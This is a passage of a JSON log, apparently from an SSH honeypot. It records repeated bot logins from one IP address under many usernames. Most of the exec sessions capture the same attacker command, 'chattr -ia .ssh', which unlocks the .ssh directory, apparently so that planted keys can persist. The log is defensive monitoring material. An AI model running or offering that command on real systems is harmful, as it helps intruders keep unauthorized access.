  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:20:45.678091+00:00",
  "ended_at": "2026-08-27T02:20:46.561806+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "110ee8ca-7351-40de-9425-3425cfd19f6e",
  "name": "vigilant-kindly-manatee",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 46772,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:20:40.118620+00:00",
  "ended_at": "2026-08-27T02:20:42.064727+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "eb077dd9-d37c-4314-ba6d-ceb3d85437a3",
  "name": "gritty-bold-walrus",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 59286,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 551,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T02:17:40.565599+00:00",
  "ended_at": "2026-08-27T02:17:41.267934+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "5c59b0f0-7a91-4071-8116-99dded125797",
  "name": "windswept-supple-lemur",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 58310,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:17:28.365174+00:00",
  "ended_at": "2026-08-27T02:17:30.208652+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3bef46de-557a-40db-a1d6-feefe7443485",
  "name": "fabled-breezy-chough",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 58298,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:17:24.284555+00:00",
  "ended_at": "2026-08-27T02:17:25.501039+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ce1eac13-44cb-4b8e-b1f3-25cf749e6637",
  "name": "dapper-fierce-antelope",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 46474,
  "username": "mp",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:14:33.696756+00:00",
  "ended_at": "2026-08-27T02:14:35.720918+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5da38553-7c76-4ce6-9b97-88bd5a0d7955",
  "name": "wry-peaty-badger",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 44464,
  "username": "temp",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:11:49.963786+00:00",
  "ended_at": "2026-08-27T02:11:51.360321+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1a8ee13d-f5f3-4f8a-971a-912814455fa5",
  "name": "subtle-proud-macaw",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 60490,
  "username": null,
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 0,
  "automation": null,
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:08:51.802567+00:00",
  "ended_at": "2026-08-27T02:09:00.608017+00:00",
  "ended_reason": "honeypot reconnected",
  "commands": 2,
  "transcript_bytes": 522
 },
 {
  "id": "2b11cf79-634d-4a72-874d-443e40d46074",
  "name": "sandy-frugal-flamingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 55304,
  "username": "toby",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 527,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T02:06:10.980914+00:00",
  "ended_at": "2026-08-27T02:06:12.218336+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2245
 },
 {
  "id": "319c08b1-c9d2-4a64-9385-841e41e80a6a",
  "name": "regal-salty-armadillo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 55308,
  "username": "toby",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:05:52.104419+00:00",
  "ended_at": "2026-08-27T02:05:53.733957+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7132cec5-a351-4755-96a9-becdcf543cbe",
  "name": "sunlit-curious-kudu",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 55306,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:05:48.867217+00:00",
  "ended_at": "2026-08-27T02:05:50.581998+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "57779227-83e8-43a5-81d7-75cd3369efbb",
  "name": "glacial-hearty-godwit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 46424,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 560,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T02:03:29.032587+00:00",
  "ended_at": "2026-08-27T02:03:30.102092+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "51f1d0e6-1e0e-4b21-8174-eddca8bd0c6a",
  "name": "patient-hazy-grouse",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 58894,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:03:08.493707+00:00",
  "ended_at": "2026-08-27T02:03:09.648497+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dd818a64-b71d-4bb7-85d4-1a6bb78a76f7",
  "name": "mottled-sincere-badger",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 46430,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:03:03.746124+00:00",
  "ended_at": "2026-08-27T02:03:05.736377+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3c91960f-9386-47a0-ac2e-315e750291ea",
  "name": "coral-salty-bowerbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 59792,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 543,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T02:00:16.565060+00:00",
  "ended_at": "2026-08-27T02:00:17.631058+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "31bed514-eb14-445e-affa-0d150730fd29",
  "name": "regal-ancient-gannet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 59054,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:59:57.823634+00:00",
  "ended_at": "2026-08-27T01:59:58.658719+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c4b49112-c46f-468a-b521-06f402940d58",
  "name": "spirited-grassy-dipper",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 59808,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:59:54.311756+00:00",
  "ended_at": "2026-08-27T01:59:56.331128+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5f84b496-5c89-47c9-b585-87bbb34b6e9b",
  "name": "rugged-idle-chamois",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 42640,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 515,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T01:57:01.767425+00:00",
  "ended_at": "2026-08-27T01:57:02.861508+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "c9ea8523-1e01-4868-8cd8-61bbb9fd01b1",
  "name": "marine-slender-thrush",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 42668,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:56:43.100549+00:00",
  "ended_at": "2026-08-27T01:56:44.761726+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7bcf5661-b60d-4baf-a052-5c7d8e1c4e70",
  "name": "solar-quaint-oriole",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 42654,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:56:38.149028+00:00",
  "ended_at": "2026-08-27T01:56:39.174009+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3df4f059-c34b-4115-a3aa-bcd9be781bf6",
  "name": "prairie-icy-barbet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 34544,
  "username": "ftpuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 558,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T01:53:49.922814+00:00",
  "ended_at": "2026-08-27T01:53:51.302086+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2258
 },
 {
  "id": "a3106420-1547-4953-b012-71c18236bf9c",
  "name": "dapper-mossy-pika",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 36492,
  "username": "ftpuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:53:30.721810+00:00",
  "ended_at": "2026-08-27T01:53:31.469011+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dc10381c-5207-4ad2-9a24-298c180112d3",
  "name": "pewter-twilight-cicada",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 36484,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:53:27.841775+00:00",
  "ended_at": "2026-08-27T01:53:28.853005+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "196f1d27-2c48-4975-ba0b-ddd181b0dab5",
  "name": "icy-grumpy-peccary",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 32900,
  "username": "oracle",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 541,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T01:50:32.380524+00:00",
  "ended_at": "2026-08-27T01:50:33.575565+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2259
 },
 {
  "id": "63098e80-2a8f-4c80-a71d-e5d6fbcfb33f",
  "name": "weathered-somber-snipe",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 43954,
  "username": "oracle",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:50:13.513392+00:00",
  "ended_at": "2026-08-27T01:50:15.011292+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "364206dc-9601-40e3-b68e-3cda35605814",
  "name": "faded-loyal-loris",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 32904,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:50:09.123761+00:00",
  "ended_at": "2026-08-27T01:50:10.885527+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9229aa80-23b4-4320-acbf-4916bcd0e6ad",
  "name": "sooty-golden-gannet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 54798,
  "username": "wjx",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 525,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T01:47:29.547521+00:00",
  "ended_at": "2026-08-27T01:47:30.894678+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2244
 },
 {
  "id": "8e71f289-0f05-487c-b98d-f1362f335a75",
  "name": "tidal-graceful-merlin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 47130,
  "username": "wjx",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:47:11.811520+00:00",
  "ended_at": "2026-08-27T01:47:12.686779+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e91607fb-ce6f-40dc-86b9-2af3db09d6cb",
  "name": "sterling-fleeting-anteater",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 47116,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:47:06.656104+00:00",
  "ended_at": "2026-08-27T01:47:09.107587+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5d170d24-50a3-41f2-b2a6-f2ed8dd45d3d",
  "name": "tidal-pleasant-bonobo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 36436,
  "username": "testserver",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 541,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T01:44:30.225882+00:00",
  "ended_at": "2026-08-27T01:44:31.735209+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2265
 },
 {
  "id": "8e5400b7-3b16-4246-b37f-869ecca3c48f",
  "name": "snowy-electric-bonobo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 36462,
  "username": "testserver",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:44:11.564584+00:00",
  "ended_at": "2026-08-27T01:44:12.594908+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "61e6ccaa-82a5-4b7b-95ad-47f818e03003",
  "name": "jolly-gritty-ferret",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 36448,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:44:08.737740+00:00",
  "ended_at": "2026-08-27T01:44:09.884723+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "688b3edf-2678-4644-a938-c3e7d46e0c0e",
  "name": "plush-ashen-lemur",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 48012,
  "username": "wushi",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 541,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T01:41:45.157077+00:00",
  "ended_at": "2026-08-27T01:41:46.363063+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2248
 },
 {
  "id": "3aec6973-1690-445d-9b29-c8fce403ebe0",
  "name": "western-gallant-goldfinch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 43054,
  "username": "wushi",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:41:26.263071+00:00",
  "ended_at": "2026-08-27T01:41:27.199313+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d9d08d0f-7925-43fb-8e77-a5ed7711c1cf",
  "name": "indigo-civil-bonobo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 48016,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:41:23.252677+00:00",
  "ended_at": "2026-08-27T01:41:24.986700+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cf6775e3-99df-4276-b034-0548a506f67d",
  "name": "meadow-umber-moose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 41666,
  "username": "VPN",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 518,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T01:38:59.630835+00:00",
  "ended_at": "2026-08-27T01:39:00.963779+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2244
 },
 {
  "id": "7d133289-583d-4f56-88b8-a66808cbd0bd",
  "name": "quartz-mottled-bittern",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 33644,
  "username": "VPN",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:38:40.900184+00:00",
  "ended_at": "2026-08-27T01:38:42.050466+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6b6a2e86-750f-4d73-9089-59e0d4f9a775",
  "name": "sturdy-brave-okapi",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 33640,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:38:35.564842+00:00",
  "ended_at": "2026-08-27T01:38:36.910186+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "33dfaf6c-a578-4c80-8a86-82e9aa4f5c40",
  "name": "marbled-somber-sable",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 39998,
  "username": "alma",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 530,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T01:35:49.956104+00:00",
  "ended_at": "2026-08-27T01:35:51.548596+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2247
 },
 {
  "id": "33211200-3339-43cb-bb99-c8ffbb0b458f",
  "name": "quiet-graceful-ibex",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 53420,
  "username": "alma",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:35:28.450013+00:00",
  "ended_at": "2026-08-27T01:35:30.336199+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4202866a-2fe2-4622-8661-e5561dcb99cd",
  "name": "salty-lunar-fennec",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 40002,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:35:23.583834+00:00",
  "ended_at": "2026-08-27T01:35:24.784945+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0532f9d0-de19-4259-ac4e-e3bb61f94e62",
  "name": "blazing-curious-hummingbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 49768,
  "username": "vpsuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 540,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T01:32:33.115570+00:00",
  "ended_at": "2026-08-27T01:32:34.542697+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2254
 },
 {
  "id": "74b6dbc1-a089-4993-a2b3-27e203b177a2",
  "name": "sullen-hearty-finch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 33964,
  "username": "vpsuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:32:14.707787+00:00",
  "ended_at": "2026-08-27T01:32:15.390014+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "da97a4e5-08b2-4b97-8917-209ed9b18ddc",
  "name": "nautical-keen-springbok",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 44438,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:32:10.047789+00:00",
  "ended_at": "2026-08-27T01:32:11.601867+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dbe62335-4e5e-4818-ab78-456f858b9be9",
  "name": "breezy-forlorn-panther",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 33206,
  "username": "igor",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 543,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T01:29:16.307101+00:00",
  "ended_at": "2026-08-27T01:29:17.362010+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2253
 },
 {
  "id": "8700e4cb-0c2a-499a-a631-f40c4e9d03c9",
  "name": "burly-crystal-skink",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 44602,
  "username": "igor",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:28:57.075210+00:00",
  "ended_at": "2026-08-27T01:28:57.938797+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "65cd65a9-67ed-400b-a470-da2d5135c6e3",
  "name": "creaky-watchful-walrus",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 33222,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:28:51.781561+00:00",
  "ended_at": "2026-08-27T01:28:52.839810+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "568ea593-d882-405c-b436-c263036b1151",
  "name": "nimble-thorny-curlew",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 40692,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:25:50.305118+00:00",
  "ended_at": "2026-08-27T01:25:52.054802+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c5ba1c01-c7f0-4a79-8441-6a03993fd895",
  "name": "genial-pewter-kingfisher",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 40686,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:25:47.804125+00:00",
  "ended_at": "2026-08-27T01:25:49.203312+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "834879d1-8c8c-4875-98be-c908d673c871",
  "name": "gloomy-bitter-weasel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 58396,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
